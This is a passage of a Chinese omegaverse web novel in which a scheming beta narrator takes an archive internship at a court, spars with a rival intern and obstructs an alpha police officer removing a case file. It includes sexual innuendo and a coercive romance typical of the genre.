我站在他身后一言不发,死气沉沉。 “你的履历不干净,在洗白的这段时间只能做一名档案员实习生。”莱文可不管我什么表情,继续施舍他的安排,“到了合适的时候,我会让你转正去合适的岗位。” 提及此事,莱文抬起手从后面抹上了我还缠着纱布的后脖子,“白无用,你除这里外,没有任何地方可以去。” 哎,我只是个爱错人的老实人而已,不小心陷入omega的恨海情天,我又有什么办法呢? 我只能憋屈地接受这个安排,然后老老实实地抱着法院的铁饭碗,住着高级公寓,享受工作地点只有五百米的压抑生活啊。 莱文给我安排的公寓足有一百五十平,里面娱乐工作休息设施齐全。 这里大概是他住过的地方,我能从中发现很多有人生活过的细节。 在我站在落地窗前往下看时,莱文自作主张地从我口袋里拿出老旧的通讯器递进垃圾桶,又把一个崭新的最新款式通讯器拿出来,对着我的人脸一通操作,又把他自己的脸输入进去。 “这是什么?”我明知故问。 “那个垃圾你得丢了,换一个崭新的。”莱文说道,那语气明显是内涵什么东西。 来了来了,这个天龙人要用肮脏的金钱腐蚀我的灵魂了。 “我不需要……”我假模假样拒绝一下。 莱文根本不给我反抗的机会,竟然拿起水杯往垃圾桶里倒水。 本来就破烂的通讯器在他的一通操作下彻底报废,成为没用的垃圾。 哎嘿,这下克亚区那个男的就联系不上我了吧。 至于阿丽她们,肯定有她们的办法。 “你!”我佯装恼怒,在触碰莱文的视线后又没出息的低下头,屈辱收下崭新通讯器。 莱文对我的表现很满意,心情愉悦地捧起我的脸打算吻我,被我躲开了。 他的脸色骤变。 我痛苦闭眼,“莱文,我现在不知道该怎么面对你。拜托了,再,再让我安静些日子,好吗?” 洒在鼻尖的热潮没有褪去,反而更加逼近。 事后的我目送莱文离去,把嘴巴一擦提上裤子就兴奋地在整个公寓四处游荡。 要不说天龙人会玩啊,强制爱都玩出来了。 我才不想探究莱文搞这种剧本背后是什么心情呢,反正我好处是吃到嘴里了,他想怎么玩就陪他玩。 当然,以防万一公寓内被人提前安装了监控,我这七天时间并没有多放肆,而是把大多数时间都花费在看书上。 书房内有顶配的电脑,和法律专业相关的书籍。 时间一晃而过,我乘坐上莱文的车前往法院。 真是有毛病,五百米的距离还要坐车。 到了地方,我跟随莱文下车。 周围的人忙忙碌碌,但是路过莱文时依旧会停下来恭敬地打招呼。 我作为关系户自然承受着众人打量的眼神,但发挥我超绝钝感力的人设都假装没看见。 看什么看!我有本事当小白脸,你们有本事吗? 莱文把我领到档案室,随便交代了一句就离开了。 我看着眼前和我一起的实习生,露出老实人专属诚恳目光,“你好,我叫白无用,是新来的实习生。” 实习生扯了扯嘴角,“我叫刘生,也是实习生。” 他没给我好脸色。 我懂,档案管理员都是萝卜坑,谁有后台谁安排。原本他可以安心端上铁饭碗,没想到来了个后台更硬的关系户,怎么不让人如鲠在喉? 但我这个老实人怎么会懂这些人情世故呢? 我只是个被强制爱,好不容易下定决心努力工作证明自己的老实人啊! 于是我全当没看见他眼底的敌意,热情地把他按在座位上,“我们以后就是同事,那中午可以一起吃饭吗?” “不去。” “真的不去吗?”我又问了一遍。 刘生不耐烦咂舌,“都说了不去。” 我只能委屈地坐回自己的座位,“哎,好吧,可能是我不知分寸吧,抱歉,以后我会注意的。” 档案室的工作其实很轻松,只要按照文件类型将档案袋让进专属的架子上,然后录入电脑就行了。 有些时候我会趁着空闲浏览一下各种案件,而刘生看见我这样就会在旁边摆出嘲笑的表情。 呵,这下你知道为什么同样是关系户我能把你挤掉了吧? 因为我学无止境啊! “刘生,你有什么事吗?”我假装看不懂他脸上的嘲讽。 “你看这些有用吗?”刘生讥讽。 第一天的时候他还很忐忑我会不会去向莱文告状,等好几天后确认我是个好欺负的老实人就开始得寸进尺报被挤出萝卜坑的仇。 “我不知道,但总得学点东西。”我腼腆笨拙回答,“虽然只是个档案实习生,但我觉得不能止步于前。” “切!”刘生翻白眼,“假努力给谁看,有本事就让斯科特法官给你调到法庭记录员的岗位去啊。” 我眉头一皱,“你不要这么说,我和斯科特法官只是朋友关系。他是个值得尊敬的法官,我从他身上学到了很多。” “得了吧,这里就我们两人,你装什么清高。”刘生更烦了,伸手一推就把我摆放在桌面上的文件扫落到地面,“既然你那么努力,那不介意再把文件整理一次吧?” 我透,真是得寸进尺了。 内心拳打脚踢,我表面唯唯诺诺老实诚恳,“你是不小心的吗?好吧,我原谅你了。” “毕竟你看起来很憔悴,发际线又往后移了一点。” “白无用!”刘生立刻捂住发际线开始无能狂怒,“你想死是吧!” 下一秒,过来巡查的主任推门而入,正好听见刘生的怒骂。 主任:“刘生,你出来一下。” 刘生面色僵硬,只能唯唯诺诺跟随主任,离开前恶狠狠瞪我一眼。 嘻嘻,我故意的。 为什么刘生每次骂人主任都能路过?我只是个勤勤恳恳努力工作的老实人,我怎么知道? 正当我收拾散落在地上的文件时,档案室的门又被人打开了。 一双锃光瓦亮的靴子踩着光进入档案室,闯入我的视线内。 我往上抬,正好对对上来人的视线。 他身形修长,深蓝色的警官制服将流畅的身材曲线包裹,束带却清晰地勾勒出正在热辣跳舞的二位奶奶。 我眨巴眼,把视线拉平,就对上他的别着枪包的皮质腿环。 “新来的实习生?”他笑眯眯地低头看我,黑色皮质手套抓起桌面上的一个档案袋自顾自打开来,“无所谓,帮我找一份庭审记录,快点哦。” 看着眼前这双腿,我目瞪口呆。 我透,是劲辣鸡腿堡!—— 作者有话说:和编辑太太聊了一下,说关系太混乱了想入V得放在多元,于是改频道去了多元 那,这是不是说明以后关系想怎么乱就怎么乱嘞?(含蓄又放肆的笑容.JPG) —— 新的人物已经出现,怎么能够停滞不前!我写写写! 第33章 这绝对是一位养尊处优的alpha,还是一位实打实手握权力的alpha。 我很确信这一点。 同样是展露攻击性,奥维拉的攻击性更多在于外貌上,非但不会让人生出退怯,反而会引起人的进攻欲望。 而眼前这位alpha男性所展露的攻击性不言语表,是一种理所当然的掠夺。只有长期掠夺他人并将其当做自然规律的上位者,才会有这种自信张扬的神态。 我把文件拿起来放在桌面上,整齐撂好。 “你好,我是新来的实习生,白无用。”我露出诚恳真挚的眼神,“您似乎不是法院的工作人员,我没法给你调出档案。” 正在翻阅文件的警官慢悠悠转过脑袋来,上下打量我。 他有一双很漂亮的翠绿色眼睛,就跟我法院门口的看见的绿化带一样绿。头发也是养尊处优的金色,瞧着跟太阳晒过似的。 这位alpha警官很喜欢笑,就算被人落下面子也在笑。 “哇哦,你的意思是不愿意给我?”他问道。 我还是维持我的人设,“您有什么批准的文件吗?” “没有。” “那有相关的证件吗?” “没有带哦。” 我面露遗憾和愧疚,“既然如此,我没法帮助您。” 被接连拒绝,警官的脑袋歪了歪,柔软的金色发丝从帽檐挤出来,落在了肩章上。 “你叫什么名字来着?”他问。 不愧是劲辣鸡腿堡,这个天龙人警官根本没听我刚才在说什么诶。 “白无用,警官。”我的嘴角扯开一抹憨厚的微笑,两只手不自觉地开始揉搓我身上的工作制服。 发觉他的视线还追寻着我,于是低下脑袋,只露出微微泛红的耳垂,“那个,我可以帮您请示一下主任,简单说明情况后他或许会同意。” 如果这你都还不同意,那我可就没办法了。 谁让我是一个初来乍到不懂人情世故,只会埋头认真工作的老实人呢? 警官了然,“也就是说,不走程序就不愿意为我干活?” 那肯定啊,工作留痕嘛。 要是后续你们出了什么问题,就没有理由把我这个实习生推出去了啊。 “实习生先斩后奏酿成大祸”的新闻我可没少看。 当然,不好听的话我肯定不能说。 我慌忙摆手,手足无措地为自己的行为解释,“不,不是的警官先生。我很愿意帮你忙,但我只是一个实习生,另一位和我一起工作的同事不知道为什么不在岗位上,他也没有教导我如果遇到类似情况该怎么解决。” “我就只能按照规章制度办事。实际上,我,我是很愿意……” 欲言又止,笨拙又老实,看着就是那种会被可恶的职场小人歧视打工的可怜人。 没错,这就是我新一个版本的老实人设。 有人好奇了,都是老实人哪里不同呢? 自然是不同的,人毕竟是多面复杂的立体生物,不可能永远保持一个模样。在贫民窟我是一个不擅长说谎为情和道德困扰的痛苦老实人。到了上行城,那我就是第一次接触大世面被迫强制爱却还是努力工作想要贯彻内心理想和维护尊严的老实人。 呐,这就是专业。 感谢昂撒为我的人设打下夯实基础,为了报答他的恩情,就算他突然暴毙我也愿意。 “这样啊……”alpha警官身子歪歪一靠,歪靠在了办公桌上。 包裹着皮质手套的手指有节奏地敲击桌面,发出一声声“笃笃”的响动,很轻,却隐含某种心理暗示。 几秒后,他双手一拍,“那没办法了。” 我眨巴眼,然后就感觉眼前一花! 我的膝盖一软下意识就跪倒在地,为了维持平衡下意识伸出双手扒住对方的双腿,还蹭到了他的腿环! 这人有病啊! 我满脸迷茫抬起头,“警官先生?” alpha警官两腿一抖,就把我甩到一边,然后自顾自地绕过办公桌朝着那一排排架子走过去。 “三年前的档案放在哪里?”他问道。 我连滚带爬站起来追上去,“警官!这不合规矩!” 警官再次把我踢开,“你不说我也知道,这地方我比你还熟悉呢。” “啪叽”一下撞到后面的架子,我疼得龇牙咧嘴,却还是坚持地站起来拦住他,“警官,这是不对的行为,私自带走档案是会被通报批评的,甚至是违法行为!” “哦。”警官面带微笑,抬起巴掌按在我的脸上。 手套的处理工艺很好,比起我在贫民窟闻到的劣质香精味好太多。手覆盖上来后,第一时间充斥的就是那种磬人心脾的香水味。 天龙人的爱好真是统一啊,各种各样的香水加起来拿去填坑完全可*以搞出一个人工湖。 我把他的手从脸上移开时,他已经从架子上取出档案袋了。 “警官!”我一把子抱住他的腰。 “您不能带走啊,这是违法犯罪,您又是警官知法犯法只会罪加一等!” 警官突然垂下头看我,翠绿色的眼睛里含着虚假的笑意。 他用食指抵住我的额头,“放手哦。” 我依旧紧紧抱住他。 “你就不懂得变通吗?”警官装作无奈说道,“我比你还熟悉这里,说明我经常来这里。” 他大概是觉得自己很有耐心吧,竟然还会对一个新来的实习生解释,“别说你在这,就算你不在这我也能随便取用档案,知道了吗?识相点就松手哦,不然我就把你抓进去坐牢。” 我这下放手了。 他满意点头,迈开长腿就要离开档案室。 没一会他听见脚步声回过头,就发现我跟随的身影。 我执拗地看着他,面颊憋得通红,“警官,我会跟着你走的,除非你把档案袋还给我。” “……”警官的笑容有瞬间的凝固。 很生气对吧? 生气就对了,因为我就是一个不懂变通还有点后台的老实人啊。 你也知道档案室管理员是萝卜岗对吧,你再怎么生气也没用哦,想要出手对付我还得看我背后的主人呢……嗯?这么说我难道是狗? 算了狗就狗吧,反正世界是狗屎。 他干脆不管我了,直接离开档案室。 我就这样跟在他身后,时不时叫一声“警官”,成功让他的脚步加快。 到了转弯处,我们两人遇到了主任。 “霍里警官!”主任立刻露出谄媚的笑容,两只手开始不自觉搓起来,“您今天来取档案吗?是为了上个月那个案子?” “哦,是你啊。”霍里的笑容维持住了。 可惜我是不会给你们和睦相处机会的。 这个横插一脚的木头我当定了! “主任!”我完美插入两人的谈话,争议言辞又义愤填膺地对主任说:“主任,这位警官他没有提供文件和证件就强行带走了档案,这是不对的!” 主任的笑容垮下来。 霍里警官的笑容也垮下来。 站在两人之间,我左看看右看看,趁着他们谁都没注意就把档案袋抢过来然后塞给主任,并对霍里说:“主任总是说,哪怕只是一个小小的档案室实习生,也关乎到重大案件。所以我绝对不让你得逞,你有什么不满你就向主任报告吧。” 对霍里警官说完,我就转回去目光炯炯,“主任,你看我做得对吗?” 主任的嘴角扯了扯,转手又想把档案袋交给霍里,“霍里警官,不要在意,这只是一初出茅庐的小实习生,不懂事,您不要计较。” 档案袋还没被霍里焐热,就被我抢回来重新丢回主任手里,并且正义凛然说:“主任,我明白您只是想要考验我。” “但不要随意拿重要文件来考验,因为这涉及到好几条人的生命。我刚刚进来那会,您不是亲口对斯科特法官说回好好教导我的吗?” 主任哽住,一口气卡在喉咙里不上不下,活像是个被憋死的死人,“白无用,你知道你在和谁说话吗?这位是霍里警官!霍里!警官!” “他要处理的案件更重要!” 我一愣,愤怒的表情僵硬在脸上,似乎是不敢置信。 转头去看霍里。 alpha男性见大家反应终于正常了,于是重新挂回熟悉的虚假笑容,假模假样地劝说:“不用担心哦,我不至于和一个新来的实习生计较。” “毕竟我和斯科特法官的关系还算不错。” “是,是。”主任擦擦额头上的虚汗,然后恭恭敬敬地把第二次抬手准备把档案袋交给霍里,“您真是宽宏大量。” 就在交接的前一秒,我又把档案袋抢回来,然后仿佛信仰被冲垮一样愤怒,“主任!你从前不是这样的!我刚进来那会,你说无论案件先来后到,人的生命都是最珍贵的,人的尊严也是不可侵犯的!” “你怎么能张口就说出‘哪个案件更重要’这样的话呢?太过分了,你背叛了你的信仰!” “还有你!”我骂完主任,在主任略带惊恐的视线中看向霍里,“别以为你威胁主任,我就会屈服!我告诉你,哪怕主任不再是从前的主任,我也会贯彻他的思想理念继续反抗你!” 霍里:…… 他那含着虚假笑意的眼眸几乎眯起来,嘴角的弧度上扬,露出了和标准的八颗牙齿,看着灿烂极了。 他对主任说:“哇哦,你教导的人真厉害。” 主任两眼一翻,在极度惊恐的情况下晕过去了。 我大惊失色,立马给他按人中,“主任,主任你怎么晕了?”—— 作者有话说:女主:我只是贯彻主任的教导而已,错不在我哦。至于我不懂变通,那也是因为同事不在不知道怎么办,也不怪我哦。 第34章 “主任!主任你醒醒!”我抓住主任的肩膀疯狂摇晃。 可主任的脖子都快被我摇断了也没清醒。 于是我抓住霍里的裤腿,神情焦急:“霍里警官,快救救他!我们一起把他送去医院吧!” “万一主任死了怎么办?” 话音刚落,主任就睁开了双眼,捂住脑子左右环顾,“我这是怎么了?” “主任你终于醒了!”我惊喜瞪大眼睛,深情注视主任,“您要是再晚一点,我和霍里警官就要把你送去医院了!” 主任:“……呵呵,那可真是谢谢你啊。” 我表情憨厚又诚恳,“不用谢。” 主任从地上爬起来,欲言又止地看了眼我怀中的档案袋,又看看旁边站着的霍里。 最后,他满脸痛苦地拍打我的肩膀,“无用啊,我觉得你刚才说的没有错,只是情况太着急我表达错误而已。” “霍里警官当然是有证件和文件的。” 我一脸狐疑,“真的吗,主任?你不要联合他一起骗我,我很容易相信别人的。” “哎!”主任恨铁不成钢,然后对霍里谄媚笑,“霍里警官,麻烦您出示一下证件吧。这个孩子刚刚进来不久,斯科特法官特意嘱咐我一定要好好教导她,为了给斯科特法官一个交代,也只能委屈您。” “请放心,我一定会把今天的事情告诉斯科特法官!” 主任一通好说歹说,总算是两头不得罪地把话说清楚了。 我就在旁边听着,表面上维持人设,内心里对主任充满敬佩。 这就是上行城依靠自己努力爬上去的人啊,一张嘴简直屎上雕花。 金发碧眼的alpha警官饶有兴致,听到主任的一半的奉承话后稍稍抬手,主任就立刻乖巧闭上嘴巴。 确认不用听主任废话后,他抬起的那一只手在半空中转了一个圈,然后摁在我的脑门上。 有点凉的触感。 他笑脸盈盈说:“既然是斯科特法官要照顾的人,我当然不会发脾气。他的朋友就是我的朋友,我也得好好教导她。” “不过我的证件在车上,你跟我一起去。你看了证件,也该把档案给我。” 主任又开始左手,“这个……” 我则是想也没想点头答应,“好。” 两人的视线集中在我身上,我回以炯炯的眼神。 最后,我抱紧怀中的档案袋,跟上霍里的步伐离开法院。 现在接近正午,外面的阳光一片灿烂。 不远处的巨大白色光束直冲云霄,将太阳的光芒一分为二, 我下意识眯起眼睛。 这白光到底什么东西,一天到晚亮蹭蹭的,搞得人睡觉还得拉窗帘。 “你。”霍里停在警车旁边,突然转过身看我。 他似乎永远没法好好站直,这会又开始靠住警车,一条长腿支撑身子,另一条长腿就随意弯曲地踩在路边的路滑带上。 上行城的警官制服和贫民窟最大的区别是下半身为深灰色的宽松长筒裤。宽松的长筒裤,以及丈量大腿尺寸的腿环,这两者正好烹饪出一盘热辣滚烫的美餐。 我对上他的笑容,“怎么了?” 他张开口,“白……你叫什么来着?” “白无用,霍里警官。” “对,小白。”他跟呼唤一条狗似的叫我的姓氏,“太难记了,就叫这个吧。” 我眨巴眼,“好吧,如果你喜欢的话。” 好个屁! 名字都记不住你还有什么记得住的?笑笑笑,一天天都在笑,我的福气都被你笑没了! 真想一巴掌把这人的嘴巴打烂。 但我不敢。从贫民窟里出来的可怜人面对这种歧视和欺压只能唯唯诺诺答应。 “你说斯科特法官很照顾你?”他拉开警车门,招呼我跟着坐进去。 “是,斯科特法官是位让人尊敬的法官。”我回答。 我坐进去,同时把档案袋藏在身后,看着他不断翻找车内的储物格。 帽子被他取下来丢在一边,金色的发丝垂落。 这个低下头的动作,让我看见他贴在后脖子的抑制贴。 竟然在易感期? 哪怕我不了解alpha和omega的生理现象,也知道易感期这玩意很折磨人。 当初被诱发出易感期的莱文就跟蛇一样恨不得把我勒死呢。 他翻找的动作没听,继续吊儿郎当地问话:“你进入法院也是他安排的?” 我一时间摸不准他和莱文到底是关系要好到什么程度,是否知道莱文的真实性别。 他又低着头,我不能为了观察他的微表情也跟着脸贴脸然后满脸猥琐说“给我看看你什么表情”吧。 他腿环上系着的可是真枪实弹,我真那么干我会立马死翘翘。 斟酌一会,我回答:“我很感激斯科特法官,他给我一次认真学习和工作的机会。我会努力学习争取通过转正考试。” 说到这,我的语气有些沮丧,“哎,但我是个蠢笨的人,不是很懂怎么和同事相处。或许是我太迟钝了,所以总是招同事讨厌。” alpha警官总算在边边角角找到皱巴巴的证件丢给我。 是临时证件,有效时期只剩下七天,上面的某些文字更是被乱七八糟的笔迹涂抹,唯有关键地方和照片勉强能看。 我努力分辨,才知道他的全名——邦林顿霍里。 “原来你真的有证件。”我把证件还给他,同时也把档案袋交给他。 我不安地搓动衣袖,面红耳赤地道歉,“抱歉,是我误会你了,我很高兴这个误会诞生……” 道歉的话说出口后,我很快就意识到后半句话稍显不妥,于是更加手忙脚乱解释,“不,我不是那个意思,我是说,我很高兴这只是个误会。” “实际上,我很愿意帮助你。我该怎么说,其实你的出现帮了我大忙……” 已经拿到档案袋的霍里根本就没有分散注意力过来。 他慢条斯理地拆开档案袋的封线,将里面的纸质文件拿出来快速浏览。 大概是他虚假的性格使然,也可能真是跟莱文的好关系,他在快速浏览第一页文件后敷衍地问:“什么忙?” “帮,帮我远离同事。” 金发碧眼的alpha警官终于愿意分出一点点真实的注意力转过来了,“哇哦?” 我的唇角微微勾起感激的笑容,“实际上,我和同事刚刚因为理念不合吵过架。虽然他后来被主任叫走了,但等他回来后我还得和他度过尴尬时期。我不擅长和他相处,而你的出现刚好,替我解决了面对他的尴尬。” “谢谢你,霍里警官。尽管我知道你是为了你的工作而来,但我还是很感激你的及时出现。” 霍里平静地看着我,装满虚假情绪的眼睛将我全身上下仔细打量,也找不出破绽。 嘻嘻,你当然找不到破绽啊。 因为我说的是实话嘛。 “噗嗤!”他发出一声微妙的笑声,就把视线转回去继续浏览文件了。 而我也因为他的动作反应过来自己说了什么,于是立刻羞臊地低下头,“抱,抱歉。” 就这样过去了几秒钟,他有些疑惑地问:“你怎么还不……” 那个字还没落下来,我就把他的注意力转移到另一个问题上。 “您看的案件是三年前的校园自杀案件吗?” alpha警官的话题被生硬扯开,眯起来的眼眸竟然呈现出一点惊讶的弧度,“嗯?” 我挠一挠脸,憨厚又耿直地把自己知道的事情说出来,“我记得是某所私立高中由校园暴力引起的自杀案件,当事人是一位17岁的alpha男性。虽然前期有照片和录像证明他的主观意图,但后续律师认为这一位alpha男性先前被跳楼者言语侮辱才会犯错。” “当时的法官认为年仅17岁的alpha男性心志不健全,再加上跳楼者事先挑衅,于是将十年有期徒刑改为一年有期徒刑。这个审理结果也得到了十二位陪审员的一致认同。” alpha警官听完我的陈述后,眼眸里闪过些许惊奇,“你特意了解过?” 我赶忙摇头,“不,我只是在整理档案的时候简单看了一下,不算了解。” 骗你的,我进了档案室就开始看档案。 不看不知道,看完后被你们天龙人的无耻吓了一跳。 白无用我这只小蟑螂啊,还以为贫民窟内吃饭不给钱随随便便艹人和抢劫杀人就已经很坏了,可你们天龙人更坏。 那些走私犯最多打一下人,你们就不同了,你们天龙人不仅打人,还要求被打的人给你们钱。 哎哟,坏得嘞。 “哈哈哈。”霍里发笑,“你认为你和斯科特是什么关系?” 我理所当然且骄傲挺腰,“我们是朋友!” 虽然我吃他嘴子,也吃他腰子,半夜来了性质还会去大落地窗前做一些伸展运动,但你要相信我们就是朋友。 你不相信就是你思想不纯洁,你无法理解“革命友谊”。 “哇哦。”他又开始发出莫名其妙的口癖,“alpha,和beta,能做朋友?” 他的脑袋歪了歪,任由金发落下,“他难道已经在贫民窟被炸死了,回来的是昂撒?” 此话一出,我的后脑勺就开始冒冷汗。 我透,你怎么还真是莱文的朋友啊!人从贫民窟回来的消息你知道,昂撒你也知道,你知道那么多你不要命啦! “霍里警官,你在说什么?”我假装听不懂。 而霍里的下一句话,更是让我汗流浃背。 “这样啊……那你现在沾染我的信息素后直接去见他也没关系咯?”霍里笑眯眯问。 ……你个神经病你想做什么啊!—— 作者有话说:霍里家族的审美很一致的[墨镜] 第35章 我怀疑上行城的空气中存在某种致幻物质,不然为什么遇到的人都是神经病呢? 好吧,虽然确实有我企图瑟瑟的心思作梗,但怎么就没有他的错呢? 我什么都没做,他就上赶着说什么“信息素啊”“被发现啊”之类的,那他不是神经病是什么? 我把那差点脱口而出的几个字吞回去,努力瞪着无辜的眼神看他,“什么意思?” “霍里警官,你是易感期到了吗,我看见你脖子后面的抑制贴了。” 坦然面对他的视线,我耳垂微微泛红,略显笨拙和青涩地侧过脸,“我,我不知道该怎么帮助你。但只要你说,我一定尽我所能。” 霍里嘴角含笑,眼底却虚无一片什么也没有。 可他是个擅长伪装的人,翠绿色的眼珠子一眨,就重新覆盖上浮夸的笑意,“那我们现在回去找斯科特如何?” 这人到底怎么个事? 我微微一愣,对他面露担忧,“霍里警官你不是不舒服吗?” “你指的是易感期?”霍里坐在驾驶座位上往后倒,靠在了车玻璃上。 同时他脖子往后昂,展示出一段优秀的雪白脖颈。 他抬起手摸一摸自己的后脖子,那黑色的手套与白色的脖子对比更鲜明了。 “你好好读书吧,小白。”他笑容灿烂说道,“只有脆弱的omega才会被易感期控制,这也是为什么十二位陪审员全都是alpha的原因。” 要不是人设不允许,我真的很想发出夸张的惊呼声。 你们alpha还有脸说omega容易被易感期控制啊,有本事你把抑制贴摘掉啊,在这里叽叽歪歪算什么? 我敢打赌,这个alpha警官敢在易感期期间摘掉抑制贴,就会立刻化身蛄蛹的蚯蚓四处钻洞打孔。 “霍里警官,我觉得你的话太偏见了。”我不赞同地蹙眉,“我认识的人里有好几个不亚于alpha的优秀omega,他们的优秀是不能被性别定义的。” 像我这种心怀正义理想的老实人beta是很公平的,绝对不会搞单独的性别歧视。 因为我不仅性别歧视,我还智商歧视,阶级歧视,血统歧视,地域歧视等等。别管为什么我这样的小蟑螂还会歧视,我自有一套自洽的逻辑系统,所以我还要歧视整个世界。 这个狗屎的世界,根本配不上优秀的我。 我很满意我内心的想法,并决定以后再接再厉。 而霍里在听完我的发言后又是轻笑,仿佛听见什么好笑的事情,“你的话真有意思。” 我腼腆一笑,也觉得他很有意思。 他是alpha,是站在金字塔顶尖的那一批人,当然不会把我的话当回事。 他就是既得利益者。既得利益者是唯一有权保持沉默的人,也是唯一手握话语权的人。只要权利握在手里,无论脚下的人怎么叫,他都可以当做鸟叫声听听就算了,说不定还会夸奖这鸟叫得真好听。 可要真的把鸟放出笼子,不可能。他自己也知道把鸟放出笼子就没有鸟愿意为他叫了。 警车内的两人陷入了短暂的沉默。 我的视线快速扫他一眼,然后定在他手中的档案袋上。 “霍里警官,我能知道为什么您要把这一份档案带走吗?和你现在调查的案件有什么关系吗?” 霍里唇角挂着笑,控制我后面的车门自动打开,然后往后指了指,“斯科特法官在外面哦。” 我一回头,果然对上了莱文藏在金丝眼镜后的眼睛。 艹,差点吓死我了! 还好我没偷吃……不对,我还没来得及偷吃……更不对啊,我压根就偷吃不了! 莱文应该是刚刚结束庭审不久,还穿着黑色的法官制服。 我下了车,抬起眼眸对他展露出一丝丝惊喜的笑容,却很快把脑袋低下去了,“莱文,你怎么来了?” 莱文没看我,而是一只手撑住警车的车门。 闻到警车内若隐若现的信息素味道后,有些嫌恶地遮住鼻子,“霍里,既然是易感期,为什么还在外面到处乱晃?” “没办法啊,上头压得紧。”金发碧眼的alpha在副驾驶座位空出来后长腿舒展开来,“斯科特法官有家族兜底,而我作为幼子就只能靠自己。” 我老实站在莱文身后一言不发,实际上竖起两只耳朵光明正大偷听。 听到霍里的话,我差点两个白眼翻出来。 我勉强承认你有点实力,但能够肆无忌惮说调档案就调,那还不是沾了“霍里”这个姓氏的光? 哎,我又伤春悲秋了。 真正靠自己上位的只有白无用,至于其他“斯科特”“简”“霍里”之类的都是很坏的天龙人。 霍里对莱文的问题对答如流,但没有提起丝毫刚才关于我的事情。 在他看来我不值一提。 我也从中听到了这段时间关于贫民窟的消息。 贫民窟发生巨大爆炸,但上行城的媒体将其解释为“肃清叛乱党必要措施”,并在文中多次重复贫民窟黑户们下流粗鄙无道德的行为。 而克亚区根本不知道还有贫民窟这个地方,哪怕爆炸声如雷贯耳,也只以为是克亚区扩建和军事演练,依旧安安心心做小牛马。 哈哈哈,这就是垄断舆论的力量吗,真有意思。 我也好想这么干哦。 莱文和霍里的聊天以前者嫌弃地关上警车车门为结束信号结束了。 “走吧。”莱文说道。 我点点头,离开前回头看了一眼警车。 从外面看,警车的私密性极好,根本看不见里面的人。 我又开始神游天外。就算贴了抑制贴,易感期时的alpha也会把信息素溢出来? 没用的废物,还在那嘲讽omega呢,简直半斤八两的废物。 于是我不耻下问,“莱文,你们易感期到底是什么感觉?” 莱文脚步不停,“你问这个做什么?” 他的脚步很平缓,不紧不慢。我不喜欢站在人的身后,于是迈开脚步稍稍站在他前一点的位置,低声问:“我很担心……” 在他的注视下,我抿了抿唇,然后复杂地说出自己的想法:“我担心你易感期的时候,也会变成这样。” “霍里刚刚说了些不好的话,抱歉,我不是有意提起这个的。是我没忍住呛了他一句,他又是你的朋友,怕你会不高兴。” 见莱文不语,我又放弃了解释,“你不喜欢听我说这些话,我以后不会再说了。” 莱文长久地凝视我。 时间终于来到了正午,炽热的太阳毫不留情洒落在大地上,热得人额头冒汗。 可没过多久,伫立在街道两边的柱子开始变化形状,在众人的注视下缓缓撑开巨大的伞状结构。 冷空气从通风管道钻出来,不过短短时间就驱散了路上行人的炎热。 艹死这群天龙人的爸爸,就算这种奢侈的场面看了十几次我也要狠狠唾骂。 底层小牛马在炎热高空作业吃着一块钱一根的冰棍解暑,你们天龙人则是美滋滋享受外置空调和遮阳伞。 “白无用。” 我抬眸,与他垂下来的面颊拉进了距离。 他靠得很近,还把眼镜摘下来。 “你在生气?”他问。 我抿唇,绷紧下颚的肌肉没让自己露出什么其他的表情。 这个角度我对镜子练习了好久,绝对能够体现我隐忍深情又饱受痛苦的老实人形象。知道的人都会点赞。 omega男性想要动手摸我的脸,被我躲开了。 “莱文,还在外面,我不想……”我话只说了一半。 奸情这种事偷偷来就好了啊,你别摆在明面上,不然我怎么去外面钓鱼? 莱文的手停顿在半空中,没多久就收了回去。 把眼镜戴回去,他居高临下俯视我,然后嘲讽我,“白无用,你最好不要再痴心妄想那些不该有的东西。” “没有。”我果断回答,果然看见他破防的微表情,“从贫民窟出来后,我就不再有了。” “我只是有些难放下而已,过段时间,我会如你所愿的。” 莱文:“……” 你看我真不整了,你又不高兴,真难搞。 空气略微凝固,两人就站在法院门口一动不动。 来来往往的人自觉不对劲,纷纷加快脚步远离。 我装作不忍心看他下不来台的样子,于是主动开口,“霍里警官要调查的那个案子,是你负责的吗?” “嗯。”莱文接下了我的台阶,“不是什么大案子。” 我好奇询问,“如果不是大案子,为什么需要你来负责?” “因为死的是陪审团副团长的孩子。”莱文说道。 所谓陪审团是众多陪审员组成的组织。她们不属于上行城任何政府部门,直属白灯湾,并参与上行城内大大小小所有事项。 上到宪法修订,下到公共设施的维修,都需要经过她们的投票来决定。如果遇到了重大无法决定的事情,陪审团成员会将事项上报白灯湾,由白灯湾来决定是否施行。 如直接把贫民窟炸了,就是白灯湾下达的命令。 而我听了莱文的回答后更疑惑了,“陪审团副院长的孩子死掉了,怎么又不算大案子呢?” 说话期间,莱文已经把我带到了他的办公室,还把门给关上了。 “凶手只是一个克亚区的beta女性。”莱文说道。 陪审团副团长的孩子死了,是大案件。 可凶手只是一个克亚区的beta女性,那就是好解决的小事件。 我懂了一点,可随之而来的是更大的疑惑。 这一点疑惑不适合提出来,所以我没吭声,而是选择将其藏在心里。 我敏锐的直觉让我意识到这个案子底下存在不对劲的地方,却碍于我的见识不足以至于无法察觉这一丝不对劲到底在哪里。 啧,好烦,真想把莱文和奥维拉背对背绑成十字形丢床上透死。 不过这些问题目前不是我该思考的,为了我自己的身心健康,我决定把问题丢出脑子。 莱文没有和我继续讨论案件的兴趣,转而问起了我今天的情况,“你今天和另一个实习生吵架了?” 我展露出不怎么愿意提起私事的表情,欲言又止眼神复杂地看着他,然后说:“……嗯,我和他理念不合。” “理念不合?” “我,我很感激你让我进入法院工作,但我不想什么都靠着你。他怨恨我的出现让他面临不必要的竞争,所以我们就吵了起来。” “只是一件小事,不用你担心,我会自己解决。” “你能怎么解决?”莱文昂起下巴,“如果不是我,你连和他争吵的机会都没有。” 说话真难听。 如果不是我努力耕耘,你会给我进法院吗?说过多少次了,体力劳动也是劳动! “莱文!”我做出一副自尊心受挫的愤怒模样。 莱文扬起笑容,来到我坐着的沙发面前单膝跪下,一只手抚上我的大腿,“白无用,你有什么好反驳的?” “你在上行城什么都没有,除了我能帮你,你还能做什么?” “你可以直接了当请求我,让我把那个和你吵架的实习生踢走,可你却还是要保持那可笑的自尊心向我发火。你忘了吗,你没有资格拒绝。” “少用你那一套没用的观念逗笑我,白无用。你的名字和你的阶层一样,都是杂种。” 哦,你骂的是白无用,和我白无垠有什么关系。 远在克亚区那男的,你听见了吗,你被骂了。 我深谙精神胜利法的精髓,并且从不内耗。 夸赞那就是夸我,骂人那就一定是骂白无用,嘻嘻。 